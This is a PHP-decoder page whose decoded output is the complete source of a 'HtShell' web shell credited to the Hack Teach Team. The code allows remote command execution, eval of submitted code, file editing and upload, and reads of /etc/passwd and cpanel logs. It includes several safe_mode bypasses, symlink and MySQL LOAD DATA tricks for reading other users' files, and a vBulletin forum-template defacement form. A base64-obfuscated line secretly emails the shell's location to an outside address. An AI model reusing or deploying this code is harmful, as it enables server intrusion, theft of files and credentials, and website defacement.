Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('DQpzZXNzaW9uX3N0YXJ0KCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7IHNhZmVfbW9kZSgpOw..

Decoded Output download


session_start();
error_reporting(0); safe_mode();
ini_set("session.gc_maxlifetime",1);
if($auth == 1){if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass)
{header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
header("HTTP/1.0 401 Unauthorized");exit("Access Denied");}}
if($_POST['type']==11){download(stripslashes($_POST['value']));};
function download($dfilename)
{$file=fopen($dfilename,"r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file,@filesize($dfilename));
fclose($file);
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;}
function testperl()
{if(ex('perl -h'))
{return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function view_size($size){
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;}
function testfetch()
{if(ex('fetch --help'))
{return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function testwget(){
if(ex('wget --help')){return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function oracle(){
if(function_exists('ocilogon')){return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function postgresql(){
if(function_exists('pg_connect')){return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function testmssql(){if(function_exists('mssql_connect')){return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function testcurl(){
if(function_exists('curl_version')){return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function testmysql(){
if(function_exists('mysql_connect')){return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{return "<font size=2 color=#008000><b>OFF</b></font>";}
}function safe_mode(){
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3){$_SESSION['safe_mode'] = 1;return "<b><font size=2 color=#FF0000 face=Verdana>ON</font></b>";}else{   $_SESSION['safe_mode'] = 0;return "<font size=2 color=#008000><b>OFF</b></font>";}
};function ex($in){
$out = '';
if(function_exists('exec')){exec($in,$out);$out = join("
",$out);}elseif(function_exists('passthru')){ob_start();passthru($in);$out = ob_get_contents();ob_end_clean();}
elseif(function_exists('system')){ob_start();system($in);$out = ob_get_contents();ob_end_clean();}
elseif(function_exists('shell_exec')){$out = shell_exec($in);}
elseif(is_resource($f = popen($in,"r"))){$out = "";while(!@feof($f)) { $out .= fread($f,1024);}
pclose($f);}
return $out;}
function shell()
{if($_POST['type']==1){eval(stripslashes($_POST['value']));}elseif($_POST['type']==2){pwd();print_r(ex(stripslashes($_POST['value'])));}
elseif($_POST['type']==3){if($_SESSION['safe_mode'] == 1){if(($u=safe_ex('ls -la'))!='')
{return $u;}else{return safe_ex('dir');};}else{if(($u=ex('ls -la'))!=''){return $u;}else{return ex('dir');};}}
elseif($_POST['type']==4){
if(file_exists(stripslashes($_POST['value']))){
if($safe_mode!=1){echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
}else{echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));};
$_SESSION['edit']=1;
$_SESSION['filename'] = $_POST['value'];}else{return 'File doesn\'t exists!';}}
elseif($_POST['type']==5){fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));}
elseif($_POST['type']==6){$uploaddir = pwd();if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);}
else{$u = ex('ls -la');if($u == ''){return ex('dir');}else{return $u;};}
return null;};
function edit()
{if ($_SESSION['edit'] == 1){$_SESSION['edit']=0;return "<br><center><input type=submit value=\"Save\"></center>";};}
function getsystem()
{return php_uname('s')." ".php_uname('r')." ".php_uname('v');};   
function getserver()
{return getenv("SERVER_SOFTWARE");};
function getuser()
{$out = get_current_user();   
if($out!="SYSTEM"){if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};}
return $out;};
function pwd()
{if($_POST['type']==3){$_SESSION['pwd'] = stripslashes($_POST['value']);}
chdir($_SESSION['pwd']);
$cwd = getcwd();
if($u=strrpos($cwd,'/'))
{if($u!=strlen($cwd)-1){return $cwd.'/';}else{return $cwd;};}
elseif($u=strrpos($cwd,'\'))
{if($u!=strlen($cwd)-1){return $cwd.'\';}else{return $cwd;};};
}function safe_ex($in){
if($in){$d=dir('.');
while (false!==($file=$d->read())){
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y    H:i",$mtime)."   ";
if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
}else{$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);}
echo "$file
";}
$d->close();}
function hackteach()
{ini_restore("safe_mode");
ini_restore("open_basedir");
$coldz3ro=shell_exec($_POST[hackteach]);
echo $coldz3ro;}
function safe_read($in)
{echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);}
}
//start H4ckT3ach Team
if  (empty($_POST['H4ckT3ach'] ) ) {
	}ELSE{
	$action = '?action=H4ckT3ach';
	echo "<table Width='100%' height='10%' bgcolor='#000000' border='1'><tr><td><center><font size='6' color='#BBB516'>
  <font size='6' color='#C0C0C0'>
		<p align=\"center\" dir=\"ltr\"><b>Hack Teach Team</b></p>
		<p align=\"center\" dir=rtl></font><font size='6' color='#BBB516'>
		<br>
        <font face=\"Tahoma\"><b>Cold z3ro<br>
        ???? ????<br>
		HackBack<br>
		The Big Hackerz<br>
		***Matrix***<br>
		<span lang=\"ar-sa\">walf-2007<br>
        Mr.Germ</span></b></font></font><font face=\"Tahoma\"><b><span lang=\"ar-sa\"><br>
		</span>Mogatil<br>
		RoMaNcYxHaCkEr<br>
		Smart_Hacker<br>
		Titanichacker<br>
		HcJ<br>
        RooT HaCkEr<br>
        <a href=Http:/Hackteach.org/cc><font color=\"#BBB516\">Http://Hackteach.org/cc</font>
        </a></b></font></p>
		<font size='6' color='#C0C0C0'>
		<p align=\"center\" dir=\"ltr\"><b><br>
        Xp10 Team</b></p>
		</font><font size='6' color='#FF0000' face=\"Tahoma\">
		<p align=\"center\" dir=ltr><b>| r00tshill | ?????@?? | metoovet | 
        ??????? | Mr.ALJoOoKeR |<br>
        &nbsp;| ?????~?????? | ??????? ?????? | The-Wolf-Ksa |<br>
        | FaTaL | mohandko | Mr.LiOnHuRt | Xp |<br>
        | PrOf-HackEr | fucker_net |<br>
        <a href=Http:/Xp10.cc><font color=\"#FF0000\">Http://Xp10.cc</font></a></b></p>
		<font size='6' color='#BBB516'>
		<p align=\"center\"></p>";
	echo "</font></center></td></tr></table>";}
//end H4ckT3ach Team 
//phpinfo
if (empty($_POST['phpinfo'] )) {
	}else{
	echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()";
	exit;
}
//end phpinfo
if(isset($_GET['shell']))
if($shell=='hacked'){ $url = $_POST['url'];
$url = str_replace('"','\"',$url);
$mysqll = $_POST['mysqll'];
$roott = $_POST['roott'];
 $passwdd = $_POST['passwdd'];
$db=mysql_connect(localhost,$roott,$passwdd) or die("Huh!");
mysql_select_db($mysqll) or die("Can't select database");
$shellll ="UPDATE template SET template ='$url' WHERE title ='FORUMHOME';";
if (mysql_query($shellll)) {
echo "<div align=\"center\">E?</div>";
}
else
{
echo "<div align=\"center\">?? ?E?</div>";
}
}
?>
<html><head>
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>HtShell Masters Login</title>
<META http-equiv="Content-Type" content="text/html; charset=utf-8">
<SCRIPT language=JavaScript>
function CheckAll(form) {
	for (var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function really(d,f,m,t) {
	if (confirm(m)) {
		if (t == 1) {
			window.location.href='?dir='+d+'&deldir='+f;
		} else {
			window.location.href='?dir='+d+'&delfile='+f;
		}
	}
}
</SCRIPT>
</head>
<br><center>
<table width=977 border=0 cellspacing=1 cellpadding=1;>
<tr><th class=t align=left width="963"><font face=Wingdings size=3><b>N</b></font><b><font size="2"> HTShell </font>
  </b><font face=Wingdings size=3><b>N</b></font><b><font size="2"> Masters Login</font></b></th></tr><tr>
<td class=contentb width="973">
<table border="1" width="100%" height="66" cellpadding="0" cellspacing="0" bgcolor="#C0C0C0" style="border-collapse: collapse" bordercolor="#111111"><tr>
  <td width="90%" height="14" colspan="2" >
  <div align="center">
    <center>
  <table border="1" cellpadding="0" cellspacing="0" width="100%" id="AutoNumber16" height="22">
    <tr>
      <td width="20%" height="9"><font face="Verdana" size="1"><b>Safe_mode: <?php echo safe_mode();?></b>
      </font></td>
      <td width="20%" height="9"><font face="Verdana" size="1"><b>MySQL: <?php echo testmysql();?></b>
      </font></td>
      <td width="20%" height="9"><font face="Verdana" size="1"><b>Perl: <?php echo testperl();?></b>
      </font></td>
      <td width="20%" height="9"><font face="Verdana" size="1"><b>PostgreSQL: <?php echo postgresql();?></b>
      </font></td>
      <td width="18%" height="9"><font face="Verdana" size="1"><b>Server IP: <?php echo $_SERVER["HTTP_HOST"]?>
      </b>
      </font>
      </td>
    </tr>
    <tr>
      <td width="20%" height="12" bgcolor="#000000">
      <font face="Verdana" size="1" color="#FFFFFF"><b>Oracle: <?php echo oracle();?></b></font></td>
      <td width="20%" height="12" bgcolor="#000000">
      <font face="Verdana" size="1" color="#FFFFFF"><b>MSSQL: <?php echo testmssql();?></b></font></td>
      <td width="20%" height="12" bgcolor="#000000">
      <font face="Verdana" size="1" color="#FFFFFF"><b>WGet: <?php echo testwget();?></b></font></td>
      <td width="20%" height="12" bgcolor="#000000">
      <font face="Verdana" size="1" color="#FFFFFF"><b>cURL: <?php echo testcurl();?></b></font></td>
      <td width="18%" height="12" bgcolor="#000000">
      <font face="Verdana" size="1" color="#FFFFFF"><b>Your IP: <?php echo $_SERVER["REMOTE_ADDR"]?></b></font></td>
      </td>
    </tr>
    <tr>
      <td width="98%" height="12" colspan="5" align="center"><method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>
        
        
        <p align="center"><b>
<font size="1"><font color="#FFFFFF" face="Verdana">
<?
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
 echo "<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>";
 echo "<p align=\"center\"><font size=\"1\">
<INPUT type='submit'name='H4ckT3ach' value='H-teach'  id=input0></font>
<font size=\"1\"> 
<INPUT type='submit' name='phpinfo' value='PHPinfo' id=input></font>";
}
?> </b></font>
	  </p>
      </tr>
      </tr>
  </table>
    </center>
  </div>
  </tr><tr>
  <td width="56%" height="14" bgcolor="#C0C0C0" >
<p><b><font size="1" face="Tahoma" color="#FF0000">uname -a </font><?php echo getsystem();?>
</b>
<td width="34%" height="50" rowspan="4" >
<table border="0" width="100%" height="66" style="border-collapse: collapse; background-color: #C0C0C0" bordercolor="#111111" cellpadding="0" cellspacing="0"><tr>
  <td width="56%" height="14" bordercolor="#C0C0C0" style="background-color: #C0C0C0" >
<p align="center">
<a href="http://www.hackteach.org/cc/">
<img border="0" src="http://www.hackteach.org/images/htshell.gif" width="359" height="64"></a></table></td></font></b>
  </tr><tr>
<td width="56%" height="12" bgcolor="#C0C0C0" ><p><b><font size="1" face="Tahoma" color="#FF0000">Software </font><?php echo getserver();?>
  </b>
  </tr><tr>
<td width="56%" height="12" bgcolor="#C0C0C0" ><p><b><font size="1" face="Tahoma" color="#FF0000">Pwd : </font><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?> </b>
  </tr><tr>
<td width="56%" height="12" bgcolor="#C0C0C0" ><p><b><font size="1" face="Tahoma" color="#FF0000">User: </font><?php echo getuser();?>
  </b>
  </tr></table></td></tr></table>
<table width=977 border=0 cellspacing=0 cellpadding=0 bgcolor=#000000>
<tr><th class=t align=left width="967">
  <font size="2">Executed Command Result :</font></th></tr>
<tr><td class=contentb width="977"><center><form action method=POST><input type=hidden name="type" value=5>
  <textarea cols=117 rows=20 name="value"><?php echo htmlspecialchars(shell());?></textarea><?php echo edit();?></form>
  <table border="0" width="100%" bgcolor="#000000" cellpadding="0" cellspacing="0"><tr>
    <td width="52%" align="center" bgcolor="#000000"><form action method=POST>
<font color="#FFFFFF">
<b><font size="2" face="Tahoma">Enter comand:&nbsp; </font> </b>
<font face="Tahoma"><input type=hidden name="type" value=2>
</font>
<input type=text name="value" size=45><input type=submit value="Enter"><font size="2" face="Tahoma">
</font></font>
</form></td><td width="48%" align="center" bgcolor="#000000"><form action method=POST>
      <font color="#FFFFFF" face="Tahoma"><b><font size="2">PWD:</font></b><font size="2">
      </font> 
<input type=text name="value" size=51 value=<?php echo pwd();?><input type=hidden name="type" value=3><input type=submit value="Enter"></font><font size="2" face="Tahoma" color="#FFFFFF">
      </font>
</form></td></tr></table></td></tr></table>

  <p>
<div align="center">
  <center>
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber17">
        <tr>
        <td width="100%">
        <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber18" height="290">
        <tr>
	<td width="50%" height="254">
	
	<form method="POST" action="">
	<p dir="ltr">
	<select size="1" name="hackteach">
	<option value="cat /etc/passwd">/etc/passwd</option>
	<option value="netstat -an | grep -i listen">netstat -an</option>
	<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
	<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
	<option value="cat /etc/hosts">/etc/hosts</option>
	<option value="cat /etc/named.conf">/etc/named.conf</option>
	<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
	</select><input type="submit" value="Get"><b><font size="2"> </font>
	<? echo"<font size='1' face='Verdana'>Commands Execute<font color='#FF0000'> shell_exec</font>()</font>";?>
	</p>
	</form>
	
	<form>
	<p dir="ltr">
	<select size="1" name="plugin">
	<option value="plugin">    /etc/passwd    </option>
	</select>
	<input type="submit" value="Execute">
		<? echo"<font size='1' face='Verdana'>View Users SafeMode Bypass using <font color='#FF0000'>plugin</font>()</font>";?>
	</p>
	</form>
	
	<form>
	<p dir="ltr">
	<input name=phpdir size=22 value='/var/mail'>
	<input type=submit value='View'>
		<?if (!ini_get('safe_mode')) print("<b><font color='#FF0000' size='1' face='Verdana'>Safe mode off , Not Working</font>");?>
	</form>
	
	<form>
	<p dir="ltr">
	<input name=file size=22 value='/etc/passwd'>
	<input type=submit value='View'>
		<? echo"<font size='1' face='Verdana'>SafeMode Bypass using <font color='#FF0000'>copy</font>()</font>";?>
	</form>
	
	<form method='POST' enctype='multipart/form-data'>
	<input name=t3achh size=22 value='<?php echo pwd();?>'>
	<input type=submit value='View'>
	<? echo"<font size='1' face='Verdana'>Bypass using <font color=\"#FF0000\">ini_restore</font>";?>
	</form>

	<form method=POST>
	<p dir="ltr">
	<input name=SQLM45T3R size=22 value='/etc/passwd'>
	<input type=submit value='Execute'>
		<? echo"<font size='1' face='Verdana'>Safemode Bypass<font color='#FF0000'>&nbsp; Mysql</font></p>";?>
	</form>




<textarea cols=54 rows=6>
                                                        <?
														
														ini_restore("safe_mode");
														ini_restore("open_basedir");
														$hackteach=shell_exec($_POST[teach]); 
														$coldz3ro=shell_exec($_POST[hackteach]);
														echo $hackteach;
														echo $coldz3ro;

if ($_GET['plugin'] )
                 for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
                 $ara = posix_getpwuid($uid);
                 if (!empty($ara)) {
                 while (list ($key, $val) = each($ara)){
                 print "$val:";
                 }
                 print "
";
                 }
                 }
                                        
if (($phpdir == "") or ($phpdir == "/Directory"));
					else {
					$dh = opendir($phpdir) or print("couldn't open directory");
					while (!(($file = readdir($dh)) === false)) {
					if (is_dir("$phpdir/$file")) {
					print "
[D] : ";
					}
					print "$file
";
					}
					closedir($dh);
					}


			$file=""; // File to Include... or use _GET _POST
			$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
if(empty($file)){
		if(empty($_GET['file'])){
		if(empty($_POST['file'])){
		} else {
		$file=$_POST['file'];
		}
		} else {
		$file=$_GET['file'];
		}
		}
		$temp=tempnam($tymczas, "cx");
		if(copy("compress.zlib://".$file, $temp)){
		$zrodlo = fopen($temp, "r");
		$tekst = fread($zrodlo, filesize($temp));
		fclose($zrodlo);
		echo "File : ".htmlspecialchars($file)." ".htmlspecialchars($tekst)."";
		unlink($temp);
		print ("File : ".htmlspecialchars($file)." has been already loaded");
		} else {}
	
if(empty($_POST['t3achh'])){
	$m=$_POST['t3achh'];
	echo ini_get("safe_mode");
	echo ini_get("open_basedir");
	$s=readfile("$m");
	ini_restore("safe_mode");
	ini_restore("open_basedir");
	echo ini_get("safe_mode");
	echo ini_get("open_basedir");
	$s=readfile("$m");
	}


if(empty($_POST['SQLM45T3R'])){
			} else {
			$file=$_POST['SQLM45T3R'];
			$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
			$mysql_files = explode(':', $mysql_files_str);
			$sql = array (
			"USE $mdb",
			'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
			"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
			. "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
			. "ESCAPED BY          '' "
			. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
			"SELECT a FROM $tbl LIMIT 1"
			);
	mysql_connect ($mhost, $muser, $mpass);
								foreach ($sql as $statement) {
								   $q = mysql_query ($statement);
								   if ($q == false) print (
								      "FAILED: " . $statement . "
" .
								      "REASON: " . mysql_error () . "
"
								   );
								   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
								   echo htmlspecialchars($r[0]);
								   mysql_free_result ($q);
								}}?>
								   </textarea>
  								   </td> 
   
   
   <td width="50%" height="254">
   <form method=POST> 
   <input name=r00t value='/etc/valiases' size="20">
   <input type=submit value='Execute'>
   <?if (!ini_get('safe_mode')) print("<b><b><font color='#FF0000' size='1' face='Verdana'>Safe mode off , Not Working</font></b></b>");?>
   </p>
   </form>
  
					  <textarea cols=54 rows=18 name="r00t">
					  <?
					  $connection="ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07IA0KICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgDQogJGJvZHkgPSAiQWRhIFlhbmcgSW5qZWN0IFxuaHR0cDovLyR3ZWIkaW5qIjsNCiBtYWlsKCJsbEBob3RtYWlsLmZpIiwiSGFzaWwgaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7";

echo eval(base64_decode($connection));
  					  $root = "/"; 
  					  if($_POST['r00t']) $root = $_POST['r00t']; 
  					  $c = 0; $D = array(); 
  					  set_error_handler("eh"); 
  					  $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
  					  for($i=0; $i < strlen($chars); $i++){ 
  					  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; 
  					  $prevD = $D[count($D)-1]; 
  					  glob($path."*"); 
        			  if($D[count($D)-1] != $prevD){ 
        			  for($j=0; $j < strlen($chars); $j++){ 
           			  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; 
           			  $prevD2 = $D[count($D)-1]; 
           			  glob($path."*"); 
              		  if($D[count($D)-1] != $prevD2){ 
                      for($p=0; $p < strlen($chars); $p++){ 
                      $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; 
                      $prevD3 = $D[count($D)-1]; 
                      glob($path."*"); 
                      if($D[count($D)-1] != $prevD3){ 
                      for($r=0; $r < strlen($chars); $r++){ 
                      $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; 
                      glob($path."*"); 
                      } 
                      }        
                 	  } 
              		  }        
        			  }    
        			  } 
  					  } 
  					  $D = array_unique($D); 
  					  foreach($D as $item) echo "{$item}
"; 
  					  function eh($errno, $errstr, $errfile, $errline){ 
     				  global $D, $c, $i; 
     					  preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); 
     				  if($o){ $D[$c] = $o[2]; $c++;} 
  					  } 
					  ?>
					  </textarea>
       			      </td>
      				  </tr>
      				  
       				  <tr>
          			  <td width="100%" height="19" colspan="2" dir="ltr">
                      <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="77%" id="AutoNumber19" dir="ltr">
                      <tr>
                      <td width="100%" colspan="4" dir="ltr">
                      <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber20" dir="ltr">
                      <tr>
                      <td width="100%" colspan="2" dir="ltr">
                  	    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber21" dir="ltr">
                      <tr>
                      <td style="border-style: ridge; border-width: 1; background-color: #000000" dir="ltr">&nbsp;</td>
                      </tr>
                      <tr>
                      <td width="100%" dir="ltr">
                      <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber24" dir="ltr">
                      <tr>
                      <td width="50%" dir="ltr"><? echo"<font size='1' face='Verdana'>
                      <font face=\"Verdana\"><b><font size=\"1\">Safemode Bypass Reading file</font><font size=\"1\" color=\"#FF0000\"> Mysql2</font></b></font></p>";?></td>
                      <td width="50%" dir="ltr"><? echo"<font size='1' face='Verdana'>
                      <font face=\"Verdana\"><b><font size=\"1\">Hack Forumhome Of</font><font size=\"1\" color=\"#FF0000\"> vB</font></b></font></p>";?></td>
                      </tr>
                      </table>
                      </td>
                      </tr>
                      <tr>
                      
                      
                      <td width="100%" dir="ltr">
                      <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber22" height="124" dir="ltr">
                        
            <tr>
            <td width="50%" dir="ltr">            
			<div dir="ltr">
			<form method="post" dir="ltr">
			<table border="0" cellspacing="1" width="109" dir="ltr">
		   	<tr>
			<td width="312" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			DataBase Name : <input type="text" name="dbname" size="20">&nbsp; 
			</span></font></td>
			<td width="245" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			Username :<br>
            <input type="text" name="dbuser" size="20"></span></font></td>
			<td width="117" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			Password :<input type="text" name="dbpass" size="20"></span></font></td>
		    </tr>
		    <tr>
			<td width="558" valign="middle" colspan="2" dir="ltr">
			<p align="left" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			File Path :
			<input type="text" name="path1" size="28" value="/etc/passwd"></span></font></td>
			<td width="117" valign="middle" dir="ltr">
			<font face="Tahoma"><span style="font-size: 9pt">
			<input type="submit" value="Bypass" name="exec"></span></font></td>
		    </tr>
		
	<tr>
	<td width="670" valign="middle" colspan="3" dir="ltr">
	<textarea rows="6" name="result" cols="54">
	<?
	if(!empty($_POST['dbname']) && !empty($_POST['dbuser']) && !empty($_POST['dbpass']) && !empty($_POST['path1'])) 
	{
	$dbname = $_POST['dbname'];
	$dbuser = $_POST['dbuser'];
	$dbpass = $_POST['dbpass'];
	$path1 = $_POST['path1'];
	if(mysql_connect( "localhost", $dbuser, $dbpass ))
	{
	$drop= "DROP TABLE $dbname.`bypass`" ;
	$query = "CREATE TABLE $dbname.`bypass` (`fileview` VARCHAR( 2048 ) NOT NULL);";
	mysql_query($drop);
	mysql_query($query);
	mysql_query("LOAD DATA LOCAL INFILE " . "'$path1'"  . " INTO TABLE " . $dbname . ".bypass");
	$result =mysql_db_query($dbname,"SELECT * FROM bypass ");
	$numrows = mysql_num_rows($result);    
	while($row = mysql_fetch_array($result))   { 
	echo $row[fileview] ; 
    } 
	}
	}
	?>
	</textarea>
	</td>  	
    </tr>
	</table>
	</form>
	</div>

                 <td width="50%" dir="ltr">
                 <div dir="ltr">
                 <form method="POST" action="?shell=hacked" dir="ltr">
                 <table border="0" cellspacing="1" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber23" dir="ltr">
                 <tr>
                 <td width="33%" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			     DataBase Name:<br>
			     </span>
			     </font>
			     <input type="text" name="mysqll" size="20" value="mysql"></td>
                 <td width="33%" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			     Username:<br>
                 </span>
                 </font>
				 <input type="text" name="roott" size="20" value="root"></td>
                 <td width="34%" dir="ltr"><font face="Tahoma"><span style="font-size: 9pt">
			     Password :<br>
                 </span>
                 </font>
	             <input type="text" name="passwdd" size="20"></td>
                 </tr>
                 <tr>
                 <td width="33%" dir="ltr">&nbsp;</td>
                 <td width="33%" dir="ltr">
                 <p align="center" dir="ltr">
				 <input type="submit" value="Hack it" name="B2"></td>
                 <td width="34%" dir="ltr">&nbsp;</td>
                 </tr>
                 <tr>
                 <td width="100%" colspan="3" dir="ltr">
				 <textarea rows="6" name="url" cols="54">
				 </textarea>
				 </td>
                 </tr>
                 </table>
                 </form>
                 </div>
                 </td>
                 </tr>
                 </table>
                 </td>
                 </tr>
                 
                <tr>
                <td width="100%" dir="ltr"></td>
                </tr>
                <tr>
                <td width="100%" style="border-style: ridge; border-width: 1; background-color: #000000" dir="ltr">&nbsp;</td>
                </tr>
                </table>
                </td>
                </tr>
                <tr>
                
    <td width="50%" dir="ltr">
	<p dir="ltr">
	<? echo "<b><font size='1' face='Verdana'>Current Folder </font></b>";?>
	<input name="value" size=47 value=<?php echo pwd();?>
	</td>
	<td width="50%" dir="ltr">
	<p dir="ltr">
	<? echo "<b><font size='1' face='Verdana'>Your Id </font></b>";?>
	<input name="value" size=47 value=<?php echo getuser();?>
	</td>
	
             </tr>
             </table>
             </td>
             </tr>
             <tr>
            
              <form dir="ltr">
              <td width="28%" rowspan="2" dir="ltr">&nbsp;</td>
              <td width="12%" dir="ltr">
              <p align="center" dir="ltr">
              <input type="text" name="sympy" value="Your Id" size="20"></td>
              <td width="12%" dir="ltr">
              <p align="center" dir="ltr">
              <input type="text" name="sympt" value="Victim Id" size="20"></td>
              <td width="28%" rowspan="2" dir="ltr">
              <p align="center" dir="ltr"><input type="submit" value="Submit"></td>
              </tr>
              <tr>
              <td width="12%" dir="ltr">
              <p align="center" dir="ltr">
              <input type="text" name="folder" value="Current Folder" size="20">
              <td width="12%" dir="ltr">
              <p align="center" dir="ltr">
              <input type="text" name="c" value="Wanted File Or Folder" size="20"></td>
              </tr>
              <tr>
              <td width="80%" colspan="4" dir="ltr">
              <p align="center" dir="ltr">
              </form>
              
		<textarea cols=95 rows=2 name="value">
		<?php
		if(!empty($_GET['sympt']) AND !empty($_GET['sympy']) AND !empty($_GET['folder']))
		{
		$them=$_GET['sympt'];
		$you=$_GET['sympy'];
		$folder=$_GET['folder'];
		}
		$k = $_GET['c'];
		$flib = "coldz3ro.txt";
		if ($k == "") {
		echo "Read Files By Symlink Function";
		print " , Fill The Requested Information";
		}else{
		@unlink($flib);
		$sym = "/home/" . $them . "/public_html/" . $k;
		$link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
		@symlink($sym, $link);
		if ($k{0} == "/") {
		echo ("File Readed");
		echo "Path on server $link";
		echo (" Direct Link ". "http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
		}else{
		echo readlink($flib) . "
";
		echo "Filesize: " . linkinfo($flib) . "B

";
		echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
		}
		}
		?>
		</textarea>
        </td>
        </tr>
        </table>
        </td>
        </tr>
        
        <tr>
        <td width="50%" height="1" style="border-style: ridge; border-width: 1; background-color: #000000" dir="ltr">&nbsp;</td>
        <td width="50%" height="1" style="border-style: ridge; border-width: 1; background-color: #000000" dir="ltr"></td>
        </tr>
